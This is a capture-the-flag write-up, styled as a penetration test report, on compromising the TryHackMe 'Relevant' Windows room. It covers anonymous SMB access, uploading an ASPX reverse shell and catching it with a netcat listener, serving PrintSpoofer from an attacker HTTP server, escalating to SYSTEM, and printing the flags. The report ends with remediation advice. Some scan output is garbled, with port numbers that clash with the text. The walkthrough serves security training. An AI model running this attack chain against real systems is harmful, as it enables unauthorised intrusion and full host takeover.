PENETRATION TESTING REPORT

RELEVANT



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Disclaimer

This report presents the results of a penetration test conducted at a specific point in time. The findings are based on the environment's state during the engagement and may not reflect changes made afterward. This document is provided "as-is" for the sole purpose of helping the client address potential security weaknesses. The report must not be considered a guarantee of security. The author and associated parties disclaim all warranties and responsibility for any consequences resulting from the use or misuse of the information provided.

Executive Summary

A black box penetration test was conducted on the "Relevant" TryHackMe room to simulate real-world attack scenarios without prior knowledge of the system. The objective was to uncover any exploitable vulnerabilities that could be leveraged by an external attacker. The assessment successfully identified critical flaws in the environment, including insecure SMB configuration, exposure of sensitive credentials, and privilege escalation through an impersonation exploit (PrintSpoofer).

By chaining these vulnerabilities, full system compromise was achieved, and both user and root flags were retrieved, confirming the ability to gain full administrative access. This report details the steps taken, the risks identified, and provides recommendations to remediate the weaknesses found

Tools Used

The following open-source and native tools were utilized throughout the assessment:

- Nmap: Port scanning and version detection
- Netcat: Reverse shell listener
- SMBClient: Accessing SMB shares anonymously and with credentials
- PowerShell: Command execution and privilege escalation tasks
- PrintSpoofer.exe: Exploit tool to escalate from service account to SYSTEM
- Python HTTP Server: Serving payloads over HTTP

Methodology

A structured approach was followed throughout the engagement:

1. Information Gathering

Initial reconnaissance was conducted using Nmap to identify open ports and services. Ports 80 (HTTP), 135, 139, 445 (SMB), and 3389 (RDP) were discovered.

```
kali@kali:~/Downloads × kali@kali:~/tryhackme/relevant ×

Stats: 0:09:24 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 87.50% done; ETC: 03:28 (0:00:14 remaining)
Nmap scan report for 10.10.12.185

Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
133/tcp open msrpc Microsoft Windows RPC
133/tcp open microsoft-ds Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open msrpc Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49663/tcp open msrpc Microsoft Windows RPC
49663/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2016 (91%), Microsoft Windows 7 or Windows Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 582.42 seconds
```

SMB enumeration revealed a shared folder nt4wrksv accessible anonymously.

```
—(kali⊛kali)-[~/tryhackme/relevant]
-$ smbclient -L //10.10.12.185 -N
        Sharename
                          Type
                                     Comment
        ADMIN$
                          Disk
                                     Remote Admin
        C$
                          Disk
                                     Default share
        IPC$
                          IPC
                                     Remote IPC
        nt4wrksv
                          Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.12.185 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

2. Exploitation

Got access into SBM share

sbmclient //<IP>/nt4wrksv

The SMB share contained a configuration file with base64-encoded credentials. Decoding yielded valid credentials for user Bob. These were used to authenticate against the SMB service and upload a reverse shell payload.

Uploaded a test file into the smb share and it was successful.

```
(kali® kali)-[~/tryhackme/relevant]
$ echo "upload test" > test.txt

(kali® kali)-[~/tryhackme/relevant]
$ smbclient //10.10.12.185/nt4wrksv -U Bob

Password for [WORKGROUP\Bob]:
Try "help" to get a list of possible commands.
smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kb/s) (average 0.0 kb/s)
smb: \> ■
```

using msfvenom, which is a payload generation tool from the Metasploit Framework ,generated a malicious ASPX file that, when executed on a Windows server, opens a reverse shell connection back to your Kali machine.

```
| kall@kall:- x | kall@kall:-/THM/Relevant x
```

uploaded the shell.aspx file into the smb client

```
smb: \> put shell.aspx

putting file shell.aspx as \shell.aspx (5.4 kb/s) (average 2.7 kb/s)

smb: \> dir

D
D
Thu Aug 29 10:56:32 2024

D
D
Thu Aug 29 10:56:32 2024

passwords.txt
A
98 Sat Jul 25 11:15:33 2020

shell.aspx
A
3423 Thu Aug 29 10:56:32 2024

test upload.txt
A
11 Thu Aug 29 10:53:49 2024

7735807 blocks of size 4096. 5134147 blocks available

smb: \> ■
```

created a listener in kali machine using netcat from port 7777 and got a reverse shell

nc -lvnp 7777

```
kali@kali:~/Downloads × kali@kali:~/tryhackme/relevant × kali@kali
```

3. Privilege Escalation

Downloaded the file PrintSpoofer64.exe from the specified GitHub

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -O PrintSpoofer.exe

Uploaded PrintSpoofer.exe to the target using PowerShell and HTTP server hosted on Kali (http://10.17.35.44:8000)

Ran PrintSpoofer.exe -i -c cmd to spawn a SYSTEM-level shell

checked the privilege by running whoami

```
C:\Windows\system32>
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
```

4. Flag Capture

navigated to users directory and listed the users

```
cd C:\Users
C:\Users>dir
 Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
 Directory of C:\Users
07/25/2020 02:03 PM
07/25/2020 02:03 PM
07/25/2020 08:05 AM
                             <DIR>
                                                ..
.NET v4.5
.NET v4.5 Classic
                             <DIR>
07/25/2020 08:05 AM
                             <DIR>
07/25/2020 10:30 AM
07/25/2020 02:03 PM
07/25/2020 07:58 AM
                                                Administrator
                             <DIR>
                             <DIR>
                                                Bob
                                               Public
                             <DIR>
```

navigated to bob user and found the user.txt file which must contain the flag

```
Navigated to C:\Users\Bob\Desktop\user.txt
```

```
Retrieved **User Flag:**
```

THM{fdk4ka34vk346ksxfr21tg789ktf45}

Navigated to C:\Windows\System32 as SYSTEM and located root.txt Retrieved **Root Flag:**

THM{1fk5kf469devly1gl320zafgl345pv}

```
C:\Users\Bob\Desktop>cd C:\Users\Administrator\Desktop
dir
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of C:\Users\Administrator\Desktop
                     <DIR>
07/25/2020 08:24 AM
07/25/2020 08:24 AM
                     <DIR>
07/25/2020 08:25 AM
                                   35 root.txt
              1 File(s)
                                   35 bytes
              2 Dir(s) 20,257,730,560 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{1fk5kf469devly1gl320zafgl345pv}
C:\Users\Administrator\Desktop>
```

Findings

1. Misconfigured SMB Share

Severity: High

Description: Unauthenticated users could access sensitive files via SMB.

2. Hardcoded Credentials

Severity: High

Description: Credentials were found in a configuration file accessible over SMB.

3. Privilege Escalation via PrintSpoofer

Severity: Critical

Description: SYSTEM privileges obtained by abusing Selmpersonate privilege

Recommendations

- 1. Misconfigured SMB Share Restrict access to all file shares using appropriate authentication mechanisms. Disable anonymous login where not required. Regularly audit SMB shares and access logs.
- 2. Hardcoded Credentials Avoid storing plaintext credentials in accessible configuration files. Use secure vaults for secrets management. Enforce strong password policies and periodic password rotation.
- 3. Privilege Escalation via PrintSpoofer Patch the system to disable vulnerable privilege escalation paths. Limit SeImpersonatePrivilege to only trusted services. Monitor and alert on suspicious privilege escalation activity.

Conclusion

The assessment of the "Relevant" TryHackMe room demonstrated that multiple high-impact vulnerabilities exist that, when chained together, allow for full compromise of the system. The lack of authentication on SMB, exposure of plaintext credentials, and the ability to escalate privileges to SYSTEM pose severe risks in a production setting.

Had this been a real-world target, an attacker could have easily moved laterally or used the host as a staging ground for additional compromise. The exploitation path used in this test mimics tactics observed in real cyberattacks.

To secure the environment, we recommend a multilayered approach:

- Immediate removal of exposed credentials
- Restriction and monitoring of file sharing protocols
- Revocation of unnecessary privileges
- Timely patching of known vulnerabilities

Performing routine security assessments and adopting defense-in-depth strategies will help mitigate similar risks in future deployments.

